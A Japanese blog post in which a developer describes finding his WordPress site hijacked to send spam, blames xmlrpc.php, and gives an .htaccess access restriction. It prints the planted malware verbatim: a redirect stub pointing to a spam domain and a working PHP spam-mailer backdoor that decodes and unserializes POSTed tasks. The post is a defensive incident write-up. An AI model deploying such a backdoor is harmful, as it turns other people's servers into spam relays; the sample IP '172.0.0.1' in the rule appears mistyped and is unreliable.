Warning: include(/home/users/2/lolipop.jp-a-virtual/web/dhmo/dhmo/wp-content/advanced-cache.php): failed to open stream: No such file or directory in /home/users/2/lolipop.jp-a-virtual/web/dhmo/dhmo/wp-settings.php on line 74

Warning: include(/home/users/2/lolipop.jp-a-virtual/web/dhmo/dhmo/wp-content/advanced-cache.php): failed to open stream: No such file or directory in /home/users/2/lolipop.jp-a-virtual/web/dhmo/dhmo/wp-settings.php on line 74

Warning: include(): Failed opening '/home/users/2/lolipop.jp-a-virtual/web/dhmo/dhmo/wp-content/advanced-cache.php' for inclusion (include_path='.:/usr/local/php/5.4/lib/php') in /home/users/2/lolipop.jp-a-virtual/web/dhmo/dhmo/wp-settings.php on line 74
wordpressがクラックされた・・Wordpressの『xmlrpc.php』の脆弱性と対処法|不正ファイルの公開と対処法の実装 – Androidアプリつくったった

wordpressがクラックされた・・WordPressの『xmlrpc.php』の脆弱性と対処法|不正ファイルの公開と対処法の実装

Wordpressクラック・ハッキング

wordpressがクラックされたときの対処法

このサイトは知人の紹介で知ったwktk serverで運用されています。

私は普段、書いておいたら自分に役に立ちそうな事をメモ代わりにサイトに書いているので
その日も内容を確認しようと自分のサイトを開こうとURLをたたくと
どうも『wktkサーバーのホームページ』に飛ばされる

”昨日、Wordpress の乗っ取りが1件ありましたので
該当アカウントの停止措置を取らせていただきました。
みなさんアップデートはこまめに行いましょう。”


うーん、更新は行ってるからなぁ
とはいえ、どう考えてもアカウント止まっているし問い合わせてみよう
すると間もなく(即レスありがとうございます)以下のツイートが返ってきました。

”wordpressがクラックされてSPAMメールが発信されていたのでいたので
一時的に停止させていただきました。”


FTPで接続してみると出てくるは出てくるは不正ファイルの山
しかも、すべて公開ファイルの一番上にありました。

セキュリティに関してはwp-admin以下のアクセス制限やブルートフォースアタック対策を
講じてきました。ひとのサイトを踏み台にしてスパムをばらまいていたのは何者なのか?

▼ 犯人と原因を特定し対策を講じるべく調べてみることにしました。

<<アタック元と原因>>

調べるとすぐに『 BEGEMGI.RU 』というURLにあたりました。
スパムサイト

というのもおかれていたファイルにLocationを使って
そのサイトに転送するプログラムが書かれていたからです。

おかれていたファイルは、名前はランダムの英数字で構成しているようです。

○ パターン1
生の HTTP ヘッダを送信するプログラムです。(大半がコレでした)

<?php

header('Location: http://begemgi.ru');

?>

○ パターン2
こいつがスパムを飛ばしている主犯です。(2ファイル)

<?php 
if (isset($_POST['task']))
{

	error_reporting(E_ALL);
	ini_set('display_errors', TRUE);
	ini_set('memory_limit', '512M');
	set_time_limit(0);
	ini_set('max_execution_time',0);
	ini_set('set_time_limit',0);

	$x = unserialize(base64_decode($_POST['task']));
	if ($x==false) {exit();}

	
	$send_from = base64_encode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
	
	foreach ($x as $arr)
	{
		echo $arr['to']."\r\n";

		$arr['msg'] = str_replace('[send_from_url]',$send_from,$arr['msg']);
		
		mail($arr['to'],$arr['subj'],$arr['msg'],"MIME-Version: 1.0\r\nContent-type: text/html; charset=windows-1251\r\n");
	}
	exit('SEND OK');
}

このファイルが人のサイトを踏み台にスパムメールを送っていた
プログラムであることは間違ないようです。

ただ、そもそも何でこのファイルがこんなところにアップロードできているのでしょうか。

原因はWordpressの『xmlrpc.php』の脆弱性でした。

簡単にいえば『xmlrpc.php』を利用すれば、wp-admin/ ディレクトリー配下には行かずとも
管理画面への侵入を迂回してサーバに不正ファイルを上げることが事ができてしまいます。

その上、wordpressにはこのファイルがデフォルト状態で入っている上、
削除すると弊害があるようです。

『xmlrpc.php』ファイルに特定アドレス以外アクセスできないように設定する

そこでまず、htaccessを利用してこのファイルについて
特定アドレス以外のアクセスができないように.htaccessに以下を記述しました。

▼ 書き方は以下のようになります。ご自分の環境に合わせて書き換えてくださいね。

<Files xmlrpc.php>
order deny,allow
deny from all
allow from 192.168.1.
allow from 172.0.0.1
allow from localhost 
</Files>

これで指定アドレス以外の利用ができなくなります。

※この記事については今後の対策も含め随時追記していきます。

以上です。

参考になれば幸いです。

▼ 関連記事・最近の投稿は記事の下にあります。コチラもご参考ください。


About the Author

dhmo
Author:DHMO(ディベロッパー名) 仕事では自社サービス・メディアの開発を行ってます。 趣味でAndroidアプリ製作を行っています。 カラオケではランキングバトルにはまっております。 Mail: dihydromooxide7@gmail.com 

Leave a comment

Your email address will not be published.


*